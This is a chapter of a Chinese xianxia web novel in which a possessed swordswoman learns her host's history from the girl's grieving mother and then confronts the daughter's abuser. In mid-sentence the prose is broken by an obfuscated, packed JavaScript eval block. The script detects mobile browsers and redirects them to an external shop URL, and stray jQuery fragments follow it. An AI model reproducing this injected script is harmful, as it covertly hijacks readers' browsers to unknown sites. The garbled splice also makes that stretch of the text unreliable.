不似昨日的肝肠寸断,今日的蔺挽容只是红了眼眶。这种静静的哀伤让凌平宵感同身受,不管是呼风唤雨的修士还是平平无奇的凡人,悲欢离合时的情感总是共同的。
她只能坐在一边,无声地给予这位心碎的母亲安慰。
蔺挽容深呼吸好几下,才平复了自己的情绪。她抬起头,看向凌平宵那张陌生而又熟悉的脸,声音嘶哑道:“这位修士,我们母女的情况你也知晓了,可否透露一下你的名讳?”
“我自知女儿已经离世,但这具身体...好歹也是她的,我不希望因为你,兰儿连最后的身体都留不住。”
来了,凌平宵心下叹息。
昨日起,她就一直回避着自己的真实身份,刚巧蔺挽容得知女儿去世心思大乱,被她给糊弄过去了。果不其然,今日这位母亲就又追问起来。
凌平宵早就看出蔺挽容绝不是她所说的那般简单,光是知道夺舍邪术是如何施展的这一点,就足以证明她和修真境有关系。
“夫人放心,我只是个不足为奇的小修士,没有什么仇家,”凌平宵看着蔺挽容那双美丽的眼睛,显得十分真诚,“况且我是死过一次的人,比谁都知道生的可贵,此番机缘来到令媛身体,定会好好爱护的。”
至于名字,凌平宵默了一下,带着一丝叹息道:“蔺夫人唤我,阿平即可。”
虽知道这不是真名,但蔺挽容看出对方的难处,也不纠结,只干脆点头道:“好,阿平,我信你。”
凌平宵悄悄松了一口气,她刚才的话七分真三分假。好好活下去肯定是真的,至于平平无奇的小修士.....
有谁会相信,真元宗长羲峰剑仙能够挺过那声势浩大的八十一道雷劫,还在凡尘帝京的一个少女身上活过来了呢?
她的真实身份根本不重要,重要的是她确实会好好爱护这具身体,连着蔺兰晓的那份一起活下去。
“你接下来有什么打算吗?”蔺挽容低下了头,不再去看凌平宵,沉声问道。
“我知道你不会呆在吴府做任人打骂的侍女,但这毕竟是兰儿...你打算什么时候走?”
凌平宵笑了,笑得暖如三月春风,声音却冷得刺骨:“夫人莫要急着赶我走,在下也是知恩图报的人。令媛此次是救了我一命,夫人和她所受的委屈,我要一一讨回来的。”
“什么?”蔺挽容瞪大双眼,张大了嘴巴,“你没听到我刚才说的吗?我知道帝京永安侯府对你们修士来说不算什么,但侯夫人是玉家的人,盘踞帝京的修仙世家玉家!”
“若不是玉家势大,我又何苦带着兰儿在此受这么些年折磨!”
见她焦急的模样,凌平宵不为所动,仍是成竹在胸:“蔺夫人放心,我敢说出这话,自然是有把握的。只是有一事还需要夫人为在下解惑。”
蔺挽容自知修士大多自视甚高,自己难以扭转对方的想法,好在她也留有后手,于是勉强点头道:“你问吧。”
“我昨日用神识探查了令媛身体,发现内里经脉堵塞,丹田破碎,乃是人为。蔺夫人爱女心切,定然知道是谁干的吧?”
听她提起这事,原本已经恢复平静的蔺挽容又红了眼眶,咬牙切齿道:“还能是谁?不就是侯夫人玉茹那个贱人!”
“诸歌虽实行随母法,但每十年修真境各宗门都会派人来凡尘进行弟子选拔。若能通过选拔成为修士,便可脱离母亲带来的贱籍。”
“可那玉茹,在我生完兰儿昏迷之时,一碗玉家的秘传灵药,便断了我儿这辈子唯一的出头之路!如今她女儿还害死了兰儿,叫我如何不恨,如何不恨啊!”
蔺挽容提起玉茹牙呲欲裂,恨不得生啖其肉。
知道了清算目标,凌平宵也不急了,她唯一疑惑的是那玉家虽是“三家”之一,但哪里来的这种家传灵药?要知道这种行径在修真境是最令人不齿的,除非是罪大恶极之徒,否则不允许随便毁人仙途的。
她站起来轻轻拍着蔺挽容的背,安抚着对方:“蔺夫人莫气,在下有方法替这具身体疗伤。”
“真的?!”蔺挽容一时激动,握住了凌平宵的手,“你真的能让兰儿的经脉与丹田重新好起来?”
凌平宵微微一笑:“自然是真的。”
蔺挽容欣喜之后,又是一阵悲伤:“好啊,好啊。若兰儿知道定然也是开心的......如今的情形,恐怕还要委屈你再做一段时间兰儿。”
“这也是我所想,”凌平宵点点头,“还要麻烦夫人讲一讲令媛平日的习惯,好叫我不要和昨日一样那么快暴露。”
瑶池仙阁的愈魂丹确实是好东西,只一颗就让她的神魂愈合了不少,可离完全恢复还差得远呢。向府里人报仇是要的,但如此势弱的情况下绝不能暴露,好歹要等她身体再恢复一些再说。
蔺挽容又露出一个苦笑,慢慢说道:“好,你听我讲。昨日你暴露是因为,兰儿叫我都是阿娘,她从不叫我娘亲的。而且兰儿特别怕苦,每次喝药都要和我撒娇好几次,喝完也会同我要糖吃。”
“兰儿喜爱粉色,但吴金珠不许她穿得漂亮,所以她只穿鸦灰色之类的衣裳。”
“兰儿很善良,有时候府里会跑进来流浪的狸奴,她省下自己的口粮也要喂它们。”
“兰儿还特别胆小,被欺负了也不敢反抗,生怕连累到我......”
凌平宵静静地听着她的絮叨,心底涌起一股莫名的情绪。
字字句句,无不是对女儿的眷恋与爱。一个爱漂亮,爱和母亲撒娇,爱护生灵的、胆小的、善良的小姑娘,随着蔺挽容的话语被勾勒了出来。
这样好的小姑娘就这么死了,不公平,一点也不公平。
想了想芥子里的太平剑,凌平宵眯了眯眼,她果然不能死。
上一次她没有将他的道践行到底,惠泽天下,那么这一次,她一定要做到。
屋内两人正商讨着细节,院子外突然传来一阵蛮横娇气的声音。
“青天白日的,两个懒货都不出来干活儿!蔺兰晓倒了,蔺挽容也倒了吗?”
声音由远及近,凌平宵的神识感觉到有不下十个人走进了院子。她皱起眉头刚准备发问,就见对面的蔺挽容变了脸色:“是吴金珠!她怎么会来这里?”
蔺挽容苍白着一张脸,赶忙拉着凌平宵的手臂就往床的方向带去:“你快去躺下!我知晓你想替我们母女出头,但兰儿的身体我知道,纵使你法力滔天此刻也使不出来的。你别出来,我去打发她们!”
虽然心有不甘,但蔺挽容的话确实没错。孱弱的身体,断了的太平剑,进不去的芥子洞府......凌平宵只能咬牙轻声道:“对方来势汹汹,蔺夫人千万小心。”
蔺挽容一愣,她看向那张陌生而又熟悉的脸,气质神情与女儿截然不同,可那双眼睛中的担忧关心却和女儿生前如出一辙。她心里一酸,差点流出泪来。
“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314014|152366||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
知道,你躺下吧。”蔺挽容低着头掩饰自己的失控,替凌平宵盖好被子后便急匆匆地走了出去。
院子里的吴金珠显得十分不耐烦,见蔺挽容满脸讨好笑容地跪在她面前仍不买账,只冷哼一声别过头去。
身旁的侍女心领神会,冲上去对着蔺挽容的脸就是重重一巴掌:“真是连脸都不要了!昨日夫人体恤蔺兰晓身体,特准假三天,由你来做她的活儿。可今日你人呢?”
侍女趾高气扬地打完,却无形打了个哆嗦,总感觉周围好像有一道冷峻的视线盯着自己一般。可定睛一看,院子里除了自己一行人和被打倒在地的蔺挽容之外,哪里来的人呢?
她不知道,躺在屋内的凌平宵此时正用神识看着院子内发生的一切。看到蔺挽容被打,她怒火上涌,气极了。
忍耐,形势比人强,她必须忍耐。五天,不三天,三天之后她一定会让吴金珠和这个打人的侍女付出代价的!
蔺挽容被扇得眼冒金星,脸上很快肿起高高一块。她稳了稳心神,讨好道:“都是奴的错,大小姐莫要生气,奴这就去干活儿。”说完便想爬起来。
可蔺挽容刚直起身子,就又被吴金珠一脚踹倒在地:“呵,现在知道去了?没用!我告诉你,就因为你今早没去干活,导致我的蚕丝锦衣没做好,影响了十日后我参加仙门选拔!你该当何罪啊?”
这便是欲加之罪了,蚕丝锦衣用料金贵,是由府中专门的绣娘制作的。她蔺挽容不过是个最低等的女奴,怎么会接触到呢?
吴金珠现在就是想折磨她,多说无益,蔺挽容只能磕头认错:“都是奴的错,奴耽误了大小姐,奴该死,奴该死......”
吴金珠得意洋洋地看着砰砰磕头的女人,心里快活极了,眼中的恶毒浓郁的快要化为实质,故作怜惜地开口:“算了,看你这样也怪可怜的。就打二十板子吧,打完本小姐就不追究了。”
身后的家丁适时走上前,亮出了手中一看便知十分结实的木板子。
二十个板子下来,不死也要脱层皮了吧?吴金珠暗自笑道,眼睁睁看着家丁按着不断挣扎的蔺挽容,高高扬起的木板很快就要落到女人身上了。
“住手!”
轻灵的声音带着的无尽的威压,清晰传入了在场所有人的耳中。与此同时,紧闭的屋门发出“砰”的一声巨响,狠狠砸向了准备打蔺挽容的两个家丁。
被屋门卷起的灰尘落下之后,众人才看清,灰衣少女提着一把断剑,平日低垂的双眸中氤氲着怒火,一步步向吴金珠走去。
少女站定在吴金珠身前,举起断剑直指她的咽喉。
吴金珠不住地颤抖起来,怎、怎么会?蔺兰晓那个胆小鬼,平日怎么欺负都不敢反抗的,今日怎敢提剑向她?
可那双眼中的杀意做不得假,吴金珠害怕得要跪下了。
院子里一众人都静悄悄的,大气不敢出,都在等待着凌平宵的动作。
终于,提着剑少女说话了,她轻启朱唇:“你——”
才说了一个字,她便突然紧闭双眼,面容扭曲,好像十分痛苦一般,身体也微微颤抖起来。
不过几息,少女便平静下来,她睁开双眼看向众人,整个人却不复刚才的冰冷气息。
“我...这是......”
目睹了这一切的蔺挽容,在触及到少女迷茫目光的那一刻,整个人都愣住了。
这是兰儿,她的兰儿回来了!